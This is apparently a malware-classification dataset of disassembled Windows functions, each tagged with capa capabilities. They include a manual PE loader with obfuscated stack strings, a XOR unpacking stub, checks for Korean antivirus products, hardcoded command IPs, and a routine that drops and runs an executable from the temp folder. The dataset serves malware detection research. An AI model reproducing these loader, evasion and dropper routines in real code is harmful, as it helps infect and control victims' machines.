joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401630
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
mov eax, dword [0x40c31c]
push ebx
push ebp
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov eax, dword [esp + 0x1c]
xor edx, edx
mov dword [esp + 8], 0
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 0xc], ecx
mov dx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [edx + eax + 0x18]
jbe 0x401708
push esi
push edi
add ebx, 0x10
jmp 0x40167d
mov ecx, dword [esp + 0x14]
cmp dword [ebx], 0
jne 0x4016b6
mov eax, dword [esp + 0x20]
mov esi, dword [eax + 0x38]
test esi, esi
jle 0x4016e6
mov edx, dword [ebx - 4]
push 4
push 0x1000
add edx, ecx
push esi
push edx
call ebp
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4016e6
mov edx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add edx, ecx
push eax
push edx
call ebp
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x1c]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x401679
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x4017f0
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov eax, dword [esi + 0xa4]
add esi, 0xa0
test eax, eax
mov dword [esp + 0xc], edi
jbe 0x401889
push 0x40d56c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, dword [esi]
add esi, edi
mov eax, dword [esi]
test eax, eax
jbe 0x401889
push ebx
push ebp
jmp 0x40182c
mov edi, dword [esp + 0x14]
lea ebp, [eax + edi]
mov eax, dword [esi + 4]
sub eax, 8
xor ebx, ebx
test eax, 0xfffffffe
lea edi, [esi + 8]
jbe 0x40187e
push 0x40d56c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov ax, word [edi]
mov ecx, eax
and ecx, 0xfffff000
cmp ecx, 0x3000
jne 0x40186e
mov edx, dword [esp + 0x18]
and eax, 0xfff
add eax, ebp
add dword [eax], edx
mov eax, dword [esi + 4]
inc ebx
sub eax, 8
add edi, 2
shr eax, 1
cmp ebx, eax
jb 0x401841
add esi, dword [esi + 4]
mov eax, dword [esi]
test eax, eax
ja 0x401828
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x401890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
push ebx
mov al, 0x65
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
push esi
mov byte [esp + 0x29], al
mov byte [esp + 0x33], al
push edi
mov edi, dword [esp + 0x40]
mov al, 0x73
mov byte [esp + 0x38], al
mov byte [esp + 0x39], al
mov eax, dword [0x40c31c]
mov ebp, dword [edi + 4]
push str.IsBadReadPtr
push eax
mov dword [esp + 0x18], ebp
mov byte [esp + 0x34], 0x47
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x42], 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
mov dword [esp + 0x1c], eax
call esi
mov edx, dword [0x40c31c]
lea ecx, [esp + 0x2c]
push ecx
push edx
call ebx
push 0xa
mov dword [esp + 0x44], eax
call esi
mov cl, 0x4c
mov al, 0x61
push 0xa
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x62
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call esi
mov eax, dword [edi]
add eax, 0x80
mov ecx, dword [eax + 4]
test ecx, ecx
jbe 0x401a68
mov esi, dword [eax]
push 0x14
add esi, ebp
push esi
mov dword [esp + 0x1c], esi
call dword [esp + 0x20]
test eax, eax
jne 0x401a68
mov eax, dword [esi + 0xc]
test eax, eax
je 0x401a68
mov ecx, dword [0x40c31c]
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [esp + 0x48]
mov edx, dword [esi + 0xc]
add edx, ebp
push edx
call eax
mov edx, dword [edi + 8]
mov ebx, eax
mov eax, dword [edi + 0xc]
lea ecx, [eax*4 + 4]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_realloc]
add esp, 8
mov dword [edi + 8], eax
test eax, eax
je 0x401a5e
cmp ebx, 0xffffffff
je 0x401a5e
mov ecx, dword [edi + 0xc]
mov dword [eax + ecx*4], ebx
mov edx, dword [edi + 0xc]
inc edx
mov dword [edi + 0xc], edx
mov eax, dword [esi]
test eax, eax
je 0x4019fd
mov esi, dword [esi + 0x10]
add ebp, eax
add esi, dword [esp + 0x10]
jmp 0x401a04
mov edx, dword [esi + 0x10]
add ebp, edx
mov esi, ebp
mov eax, dword [ebp]
test eax, eax
je 0x401a3b
test eax, 0x80000000
je 0x401a1a
and eax, 0xffff
push eax
jmp 0x401a23
mov ecx, dword [esp + 0x10]
lea edx, [eax + ecx + 2]
push edx
push ebx
call dword [esp + 0x48]
test eax, eax
mov dword [esi], eax
je 0x401a5e
mov eax, dword [ebp + 4]
add ebp, 4
add esi, 4
test eax, eax
jne 0x401a0b
mov eax, dword [esp + 0x14]
push 0x14
add eax, 0x14
push eax
mov dword [esp + 0x1c], eax
call dword [esp + 0x20]
test eax, eax
jne 0x401a68
mov ebp, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
jmp 0x401992
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x401b20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
mov ecx, dword [0x40c31c]
push ebx
push ebp
push esi
lea eax, [esp + 0x20]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x2c], 0x56
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x75
mov byte [esp + 0x31], 0x61
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x46
mov byte [esp + 0x34], 0x72
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0
call edi
mov dword [esp + 0x10], eax
mov al, 0x73
mov byte [esp + 0x44], al
mov byte [esp + 0x45], al
mov eax, dword [0x40c31c]
lea edx, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x50
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x49], 0x6f
mov byte [esp + 0x4a], 0x63
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4e], 0x48
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x70
mov byte [esp + 0x52], 0
call edi
mov esi, dword [esp + 0x50]
xor ebp, ebp
cmp esi, ebp
mov dword [esp + 0x14], eax
je 0x401ccf
cmp dword [esi + 0x10], ebp
je 0x401bf9
mov ecx, dword [esi]
mov eax, dword [esi + 4]
push ebp
push ebp
mov edx, dword [ecx + 0x28]
push eax
add edx, eax
call edx
mov dword [esi + 0x10], ebp
mov ecx, dword [0x40c31c]
lea eax, [esp + 0x30]
push eax
push ecx
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x4c
mov byte [esp + 0x3d], 0x69
mov byte [esp + 0x3e], 0x62
mov byte [esp + 0x3f], 0x72
mov byte [esp + 0x40], 0x61
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x43], 0
call edi
mov dword [esp + 0x50], eax
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x401c78
mov eax, dword [esi + 0xc]
test eax, eax
jle 0x401c6b
mov edx, dword [esi + 8]
mov eax, dword [edx + ebp*4]
cmp eax, 0xffffffff
je 0x401c63
push eax
call dword [esp + 0x54]
mov eax, dword [esi + 0xc]
inc ebp
cmp ebp, eax
jl 0x401c53
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov edx, dword [0x40c31c]
lea ecx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x20], 0x48
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x46
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0
call edi
mov edi, eax
mov eax, dword [esi + 4]
test eax, eax
je 0x401cc5
push 0x8000
push 0
push eax
call dword [esp + 0x1c]
push esi
push 0
call dword [esp + 0x1c]
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x4030b0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x403988
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.004033ba
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403136
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x403136
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x44], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.0040327c
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x356061a2
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x6c015de7
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
xor esi, esi
call fcn.00408730
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408730
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
mov ecx, 1
push str._s_s
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d7
or esi, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401105
or esi, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401136
or esi, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401167
or esi, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401198
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x4014b0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x250], ax
lea eax, [ebp - 0x24e]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push 0x5c
push eax
call fcn.00405699
mov esi, eax
xor eax, eax
mov word [esi], ax
add esi, 2
push 0x2e
push esi
call fcn.00405699
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x48]
add esp, 0x10
sub ecx, esi
jmp 0x401540
movzx eax, word [esi]
mov word [ecx + esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x401540
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x419f88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401551
push 0x419f88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401593
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push 0x419f88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401582
lea eax, [ebp - 0x3e0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41ab20
call fcn.00401e30
test eax, eax
jne 0x401660
xor ecx, ecx
mov edi, edi
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x41acc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015d0
push str.218.54.47.77
push 0x40
push 0x41ab24
call fcn.00404c8f
add esp, 0xc
push str.GTDR
push 0x10
push 0x41aba6
call fcn.00404c8f
add esp, 0xc
push 0x416890
push 0x40
push 0x41abc6
call fcn.00404c8f
mov eax, 0x51
mov word [0x41aba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x41ac46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + str.BHSBDHS]
mov word [ecx + 0x41aca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401640
mov dword [0x41ace8], 5
call fcn.004037b0
mov ecx, 0x416890
call fcn.00403850
mov dword [0x41ae20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x4013f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x4016b0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x4168bc
mov edi, edx
call fcn.00403ee0
mov ebx, eax
test ebx, ebx
jne 0x4017d8
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41a3a8
lea ecx, [ecx]
cmp word [esi], 0
je 0x401766
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00404c8f
add esp, 0xc
lea eax, [ebp - 0x418]
push esi
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
add esi, 0x118
cmp esi, 0x41a920
jl 0x401730
mov esi, 0x41a3a8
lea esp, [esp]
cmp word [esi], 0
je 0x401797
push ecx
push edi
mov edx, 0x4168bc
mov ecx, esi
call fcn.004047f0
add esp, 8
add esi, 0x118
cmp esi, 0x41a920
jl 0x401780
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov ecx, 2
cmove ebx, ecx
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x401a90
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x419eb8
push 0x67
push edi
call esi
push 0x64
push 0x419df0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401c20
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x419eb8
push 0x419df0
push 0
mov dword [0x419f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401b22
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404b4a
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00402ca0
call fcn.004021a0
test eax, eax
je 0x401b53
call fcn.00403510
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004014b0
test eax, eax
je 0x401b0a
call fcn.004017f0
mov ecx, dword [0x41ae20]
test ecx, ecx
je 0x401b8b
cmp word [0x41ae24], 0
jbe 0x401b8b
mov edx, str.218.54.31.226
call fcn.00403c70
mov ax, word [0x41ae24]
mov word [0x418ef4], ax
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.Itdrer.exe]
mov word [ecx + 0x41a1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401b90
call fcn.00403cf0
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41a1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x41684c
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401ed0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x401ff3
test esi, esi
je 0x401ff3
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f00
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x401ff5
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408730
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401f6f
cmp dword [0x418f08], 3
jne 0x401f6f
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41699c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
jmp 0x401f81
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404ceb
push 0x4169a0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.00404ee2
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x401ff3
push eax
push 1
push 0x200
push edi
call fcn.004051b4
push dword [ebp - 0x210]
call fcn.004052cc
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x4020b0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x4020d0
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x4020d0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x402185
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
push 0x4169c0
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00404ee2
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x402171
push eax
push 1
push 0x200
push esi
call fcn.0040549a
push dword [ebp - 0x214]
call fcn.004052cc
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x402b30
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00408730
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00402010
test eax, eax
je 0x402c86
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x416890]
mov word [ecx + 0x41a018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402b90
xor ecx, ecx
jmp 0x402bb0
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41a120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bb0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41a0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bd0
cmp dword [0x418f08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41a098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41a010], ax
mov dword [0x41a00c], 5
lea eax, [ebp - 0x210]
je 0x402c28
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402c4d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416aa8
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x402ca0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x418f08], 0
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402d5d
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402d21
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402d09
cmp eax, 1
jne 0x402d5d
mov dword [0x418f08], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402d5d
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x402d48
mov dword [0x418f08], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x418f08]
mov edx, 5
cmp ecx, 1
cmove eax, edx
mov dword [0x418f08], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret